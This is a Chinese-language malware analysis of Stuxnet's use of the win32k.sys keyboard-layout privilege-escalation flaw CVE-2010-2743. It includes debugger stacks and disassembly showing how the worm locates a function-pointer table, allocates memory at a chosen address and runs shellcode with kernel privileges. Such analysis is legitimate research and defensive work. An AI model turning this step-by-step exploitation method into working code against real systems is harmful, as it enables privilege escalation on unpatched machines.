本文将向各位揭示一些关于 Stuxnet 蠕虫病毒的技术细节，主要旨在讲述作者是如何利用 0day **漏洞**实现代码的通用性。文中讨论的是作者所用到的两个 Windows 提权**漏洞**之一。这一**漏洞**在微软发布的 MS10-073 升级补丁中已经修复了，但还有另一个 windows 任务调度（Task Scheduler）**漏洞**尚未修补。虽然本文将深入**分析** Stuxnet 病毒及其执行的恶意行为，但我们仍将不会公布由来自 Symantec 和 ESET 的朋友所写的两份详细文档，包括其具体目录和内容。我们将主要关注下 Windows Win32K.sys 键盘布局文件提权**漏洞**(CVE-2010-2743)，并**分析**下 Stuxnet 病毒是如何使用自定义的 Portable Executable (PE)解析方式来实现代码的通用性的。

1. 漏洞分析

此**漏洞**存在于 windows 驱动文件"win32k.sys"中，当其从磁盘中加载一个键盘布局文件时，由于不正当地去索引函数指针列表，导致本地提权**漏洞**的产生。通常，键盘布局文件是通过"LoadKeyboardLayout()"函数来加载的，该函数其实是对 win32k syscall 函数 "NtUserLoadKeyboardLayoutEx()" 的封装。下面是加载键盘布局文件后内核中的栈情况：

```
kd> kn
# ChildEBP RetAddr
00 b0982944 bf861cd1 win32k!SetGlobalKeyboardTableInfo
01 b0982958 bf889720 win32k!ChangeForegroundKeyboardTable+0x11c
02 b0982978 bf87580e win32k!xxxSetPKLinThreads+0x37
03 b09829f0 bf875588 win32k!xxxLoadKeyboardLayoutEx+0x395
04 b0982d40 8053d658 win32k!NtUserLoadKeyboardLayoutEx+0x164
05 b0982d40 7c90e514 nt!KiFastCallEntry+0xf8
06 0012fccc 00402347 ntdll!KiFastSystemCallRet ; (transition from user to kernel)
```

一旦恶意构造的键盘布局文件被 win32k 内核驱动加载后，恶意程序将会向键盘输入流中发送一个事件，进而有效地触发**漏洞**。此过程会调用"user32!SendUserInput()"函数来执行，其实，它是调用了"win32k!NtUserSendInput()"和"win32k!xxxKENLSProcs()"这两个函数：

```
kd> kn
# ChildEBP RetAddr
00 b0a5ac88 bf848c64 win32k!xxxKENLSProcs
01 b0a5aca4 bf8c355b win32k!xxxProcessKeyEvent+0x1f9
02 b0a5ace4 bf8c341b win32k!xxxInternalKeyEventDirect+0x158
03 b0a5ad0c bf8c3299 win32k!xxxSendInput+0xa2
04 b0a5ad50 8053d658 win32k!NtUserSendInput+0xcd
05 b0a5ad50 7c90e514 nt!KiFastCallEntry+0xf8
06 0012fd08 7e42f14c ntdll!KiFastSystemCallRet
07 0012fd7c 00401ded USER32!NtUserSendInput+0xc
WARNING: Stack unwind information not available. Following frames may be wrong.
08 0012fdac 00401331 CVE_2010_2743+0x1ded
```

在"win32k!xxxKENLSProcs()"函数里面，win32k 驱动会去检索先前加载的键盘布局文件中的某一字节。这一字节会被置入 ECX 寄存器，然后作为函数指针表的索引值：

```
; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C
; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003
;
.text:BF8A1F50 movzx ecx, byte ptr [eax-83h]  // ECX 可被攻击者控制
.text:BF8A1F57 push edi
```

```
.text:BF8A1F58 add eax, 0FFFFFF7Ch
.text:BF8A1F5D push eax
.text:BF8A1F5E call _aNLSVKFProc[ecx*4]       // 索引函数数组指针
```

aNLSVKFProc 函数数组包含有 3 个函数，并且后面跟随着一段字节数组：

```
.data:BF99C4B8 _aNLSVKFProc   dd offset _NlsNullProc@12
.data:BF99C4BC                dd offset _KbdNlsFuncTypeNormal@12
.data:BF99C4C0                dd offset _KbdNlsFuncTypeAlt@12
.data:BF99C4C4 _aVkNumpad db 67h
.data:BF99C4C5                db 68h
.data:BF99C4C6                db 69h
.data:BF99C4C7                db 0FFh
.data:BF99C4C8                db 64h
.data:BF99C4C9                db 65h
.data:BF99C4CA                db 66h
.data:BF99C4CB                db 0FFh
.data:BF99C4CC                db 61h
.data:BF99C4CD                db 62h
.data:BF99C4CE                db 63h
.data:BF99C4CF                db 60h
.data:BF99C4D0                db 6Eh
.data:BF99C4D1                db 0
.data:BF99C4D2                db 0
.data:BF99C4D3                db 0
[...]
```

如果请求的索引值大于 2，那么代码将会引用字节数组中的值作为指针。如果索引值为 5，那么在函数”win32k!xxxKENLSProcs()”中的代码就会调用 0xBF99C4CC 处的指针，相当于程序将执行至 0x60636261。

```
kd> dds win32k!aNLSVKFProc L6
bf99c4b8 bf9332ca win32k!NlsSendBaseVk            // index 0
bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal  // index 1
bf99c4c0 bf933752 win32k!KbdNlsFuncTypeAlt       // index 2
bf99c4c4 ff696867                                 // index 3
bf99c4c8 ff666564                                 // index 4
bf99c4cc 60636261                                 // index 5
[...]
```

2. 通过 PE 解析提高代码执行的通用性

当 aNLSVKFProc 函数数组未被引用输出时，为了获得可在各个”win32k.sys”驱动版本上执行恶意代码的通用性，Stuxnet 作者必须确保索引数据位于 aNLSVKFProc 数组之外，并且指向一个可控制的有效指针，然后执行”call”指令。为了达到上述目的，Stuxnet exploit 解析 Win32K.sys 文件时使用以下方法：

- 以平面数据文件(flat data file，即无格式文件)的形式加载 win32k.sys；
- 获取 PE 头相关信息（块数，输出表数据目录和输入表数据目录等等）；
- 获取时间戳信息；
- 获取.data 节段虚拟地址；

- 获取.data 节段信息；
- 获取.text 节段虚拟地址；
- 获取.text 节段信息；
- 搜索特定的二进制签名；
- 搜索 NLSVKFProcs 函数数组。

Stuxnet 使用一个在各"win32k.sys"驱动版本（位于 Windows 2000 和 Windows XP 中，并且在目标系统上安装好各服务包和补丁）上都存在的二进制签名。这一签名与"aulShiftControlCvt_VK_IBM02"变量（非输出）的前 8 字节相匹配，其位于二进制文件中的.data 节段：

```
.data:BF99C4DC _aulShiftControlCvt_VK_IBM02
.data:BF99C4DC  db 91h
.data:BF99C4DD  db 0
.data:BF99C4DE  db 3
.data:BF99C4DF  db 1
.data:BF99C4E0  db 90h
.data:BF99C4E1  db 0
.data:BF99C4E2  db 13h
.data:BF99C4E3  db 1
```

目前已知签名：

- 存在于各 win32k 驱动版本；
- 具有唯一性；
- 在 aNLSVKFProc 函数数组附近。

一旦签名被找到，病毒就在偏移签名处 -1000 ~ +1000 字节的地址范围内，去搜索驱动中的代码块指针。如下所示，位于 0xBF99C478（0xBF9332CA）的指针就指向了代码段：

```
.data:BF99C470 07  00 00 00 00 00 00 00 CA 32 93 BF 59 1D 96 BF
.data:BF99C480 CA 32 93 BF D5 32 93 BF 0D 35 93 BF 80 38 93 BF
```

上述数据转储若从代码的角度来看，情况如下：

```
.data:BF99C470 _fNlsKbdConfiguration db 7
.data:BF99C471                       align 8
.data:BF99C478 _aNLSKEProc           dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C          dd offset _NlsLapseProc@12
.data:BF99C480                       dd offset _NlsNullProc@12
[...]
```

当这样的指针被找到后，病毒将遵循以下条件进行处理（记住，当前代码停在 0xBF99C478，我们称之为"pLoc"）：

- pLoc[0] 和 pLoc[2] 必须是同一指针：

```
.data:BF99C478 _aNLSKEProc           dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C          dd offset _NlsLapseProc@12
.data:BF99C480                       dd offset _NlsNullProc@12
```

- pLoc[0]和 pLoc[1] 必须非同一指针：

```
.data:BF99C478 _aNLSKEProc           dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C          dd offset _NlsLapseProc@12
```

```
.data:BF99C480                  dd offset _NlsNullProc@12
```

- pLoc[0]和 pLoc[3] 必须非同一指针：

```
.data:BF99C478 _aNLSKEProc      dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C     dd offset _NlsLapseProc@12
.data:BF99C480                  dd offset _NlsNullProc@12
.data:BF99C484                  dd offset _NlsSendParamVk@12
```

满足以上条件后，病毒就基本可以确定找到"_aNLSKEProc"数组了。然而它将进一步检测该地址上的指针是否指向 NlsNullProc()函数，这个通过搜索函数前几字节中的 RETN 0C 指令（机器码：0xC20C）即可实现：

```
.text:BF9332CA ; __stdcall NlsNullProc(x, x, x)
.text:BF9332CA _NlsNullProc@12 proc near
.text:BF9332CA                  xor eax, eax
.text:BF9332CC                  inc eax
.text:BF9332CD                  retn 0Ch   // opcodes: 0xC2 0x0C
.text:BF9332CD _NlsNullProc@12 endp
```

下面是 Stuxnet 病毒进行机器码搜索的一段反汇编代码：

```
CPU Disasm
10002C5F PUSH 2
10002C61 ADD ECX,DWORD PTR SS:[LOCAL.5]    // ecx points to func code
10002C64 |XOR EAX,EAX
10002C66 |POP EDI                          // edi = 2
10002C67 |/TEST EAX,EAX
10002C69 ||JNE SHORT 10002C7E
10002C6B ||CMP WORD PTR DS:[ECX+EDI],0CC2 // c2 0c => RETN 0c
10002C71 ||SETE AL                        // set AL on condition
10002C74 |||INC EDI
10002C75 ||CMP EDI,0A                     // check only for the first 8 bytes
10002C78 |\JB SHORT 10002C67
```

如果找到"RETN 0C"指令，则当前代码定位在_aNLSKEProc 变量中（0xBF99C478）：

```
.data:BF99C478 _aNLSKEProc dd offset _NlsNullProc@12
```

到这后，程序还会进一步搜索下一个"NlsNullProc()" 函数指针：

```
.data:BF99C4B0                  dd offset _NlsKanaEventProc@
.data:BF99C4B4                  dd offset _NlsConvOrNonConvProc@12
.data:BF99C4B8 _aNLSVKFProc:
.data:BF99C4B8                  dd offset _NlsNullProc@12
.data:BF99C4BC                  dd offset _KbdNlsFuncTypeNormal@
.data:BF99C4C0                  dd offset _KbdNlsFuncTypeAlt@12
```

如上所见，它找到了非输出的 aNLSVKFProc 函数数组。为了确保变量正确，病毒又进行了两次检测：

- 在偏移 +2 处的指针不为 NlsNullProc:

```
.data:BF99C4B0                  dd offset _NlsKanaEventProc@
.data:BF99C4B4                  dd offset _NlsConvOrNonConvProc@12
.data:BF99C4B8 _aNLSVKFProc:
.data:BF99C4B8                  dd offset _NlsNullProc@12
.data:BF99C4BC                  dd offset _KbdNlsFuncTypeNormal@
.data:BF99C4C0                  dd offset _KbdNlsFuncTypeAlt@12
```

- 在偏移 -2 处的指针不为 NlsNullProc:

```
.data:BF99C4B0                  dd offset _NlsKanaEventProc@
.data:BF99C4B4                  dd offset _NlsConvOrNonConvProc@12
.data:BF99C4B8 _aNLSVKFProc:
.data:BF99C4B8                  dd offset _NlsNullProc@12
.data:BF99C4BC                  dd offset _KbdNlsFuncTypeNormal@
.data:BF99C4C0                  dd offset _KbdNlsFuncTypeAlt@12
```

当所有的这些检测都通过后，病毒就可以完全确定它是 aNLSVKFProc 了。然后从该函数数组开始检测第一个用户指针：

```
CPU Disasm
10002B35 MOV EDI,10000                                  // edi = 0x10000
10002B3A /MOV ECX,DWORD PTR SS:[ARG.2]                   // _aNLSVKFProc
10002B3D |MOVZX EAX,BL
10002B40 |MOV ESI,DWORD PTR DS:[EAX*4+ECX]               // esi = _aNLSVKFProc[i]
10002B43 |CMP ESI,7FFF0000                                // must be in user space
10002B49 |JNB SHORT 10002B91
10002B4B |CMP DWORD PTR SS:[ARG.6],0
10002B4F |JNE SHORT 10002B55
10002B51 |CMP ESI,EDI                                    // must be above 0x10000
10002B53 |JB SHORT 10002B91
10002B55 |PUSH 1C
10002B57 |LEA EAX,[LOCAL.10]
10002B5A |PUSH EAX
10002B5B |PUSH ESI                                       // pointer outside array
10002B5C |CALL DWORD PTR DS:[VirtualQuery_p]             // get page information
10002B62 |CMP EAX,1C
10002B65 |JA SHORT 10002BA7
10002B67 |CMP DWORD PTR SS:[LOCAL.6],EDI                 // is it a MEM_FREE page?
10002B6A |JNE SHORT 10002B91
10002B6C |PUSH 40
10002B6E |PUSH 3000
10002B73 |LEA EAX,[LOCAL.3]
10002B76 |PUSH EAX
10002B77 |PUSH 0
10002B79 |LEA EAX,[LOCAL.1]
10002B7C |PUSH EAX
10002B7D |MOV DWORD PTR SS:[LOCAL.1],ESI
10002B80 |CALL DWORD PTR DS:[GetCurrentProcess_p]
10002B86 |PUSH EAX
10002B87 |CALL DWORD PTR DS:[NtAllocateVirtualMemory_p] // alloc page
10002B8D |TEST EAX,EAX
10002B8F |JE SHORT 10002BB0
10002B91 |INC BL
10002B93 |CMP BL,0FF                                     // i <= 255
```

10002B96 \JBE SHORT 10002B3A

上述代码片段是从 Stuxnet 反汇编代码中提取的，它先从函数指针表中获取指针（甚至是从表外获取的），然后检测该指针是否小于 0x7FFF0000 并大于 0x10000。另外，代码还会检测内存页是否已经被映射，如果尚未映射，则分配内存页。在本例中，它将继续在地址 0x60636261 上分配内存：

kd> dds win32k!aNLSVKFProc L6

bf99c4b8 bf9332ca win32k!NlsSendBaseVk // index 0

bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal // index 1

bf99c4c0 bf933752 win32k!KbdNlsFuncTypeAlt // index 2

bf99c4c4 ff696867 // index 3

bf99c4c8 ff666564 // index 4

bf99c4cc 60636261 // index 5

[...]

内存分配完成后，病毒将执行以下操作：

- 将 shellcode 复制到 0x60636261 地址上；
- 在键盘布局文件中保存恶意索引值（本例中值为 5）；
- 加载键盘布局文件并发送输入事件，进而触发**漏洞**。

最后一步是执行"win32k!xxxKENLSProcs()"函数，然后调用从函数数组中索引得到的函数指针，接着以内核权限去执行任意的 shellcode 代码。

; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C

; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003

;

.text:BF8A1F50 movzx ecx, byte ptr [eax-83h] // ECX = 5

.text:BF8A1F57 push edi

.text:BF8A1F58 add eax, 0FFFFFF7Ch

.text:BF8A1F5D push eax

.text:BF8A1F5E call _aNLSVKFProc[ecx*4] // Call 0x60636261

正如我们所见到的，在各个操作系统版本（2000 或者 XP）并安装了各服务包和补丁的情况下，Stuxnet 使用了特意构造的 PE 解析方式，进而保证了函数数组能够被稳定地找到并进行**漏洞**利用。

该病毒所使用的方法还可以做进一步的改进，或者采用其它不同的方式。但这一病毒的出现正如人们所预料的，它再一次证明了：病毒作者变得越来越聪明了。